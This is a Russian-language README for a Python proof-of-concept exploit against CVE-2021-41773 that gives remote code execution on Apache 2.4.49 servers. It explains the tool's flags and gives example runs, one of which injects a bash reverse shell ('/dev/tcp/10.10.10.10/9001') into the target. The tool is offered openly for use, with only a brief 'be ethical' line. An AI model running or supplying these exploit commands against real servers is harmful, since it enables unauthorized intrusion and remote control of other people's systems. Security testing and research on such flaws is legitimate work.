
Python-основанный концепт-доказательство эксплойта для CVE-2021-41773, обеспечивающий удаленное выполнение кода на серверах Apache 2.4.49 с настраиваемыми параметрами команды и порта.
PoC для CVE-2021-41773, так как я нашел только переусложненные эксплойты, а этот ведет прямо к удаленному выполнению кода.
Просто укажите IP-адрес уязвимого сервера Apache 2.4.49 с помощью флага -i и желаемую системную команду с помощью флага -c. Если веб-сервер работает не на порту 80, укажите его с помощью -p, а если веб-сервер использует HTTPs, нужно использовать флаг --use-https.
$ python3 CVE-2021-41773.py -i 10.10.10.10 -c 'id'
$ python3 CVE-2021-41773.py -i example.com -p 8080 -c '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/9001 0>&1"'
$ python3 CVE-2021-41773.py -i 20.20.20.20 -p 443 --use-https -c 'whoami'
Используйте на свой страх и риск (:
Будьте этичны.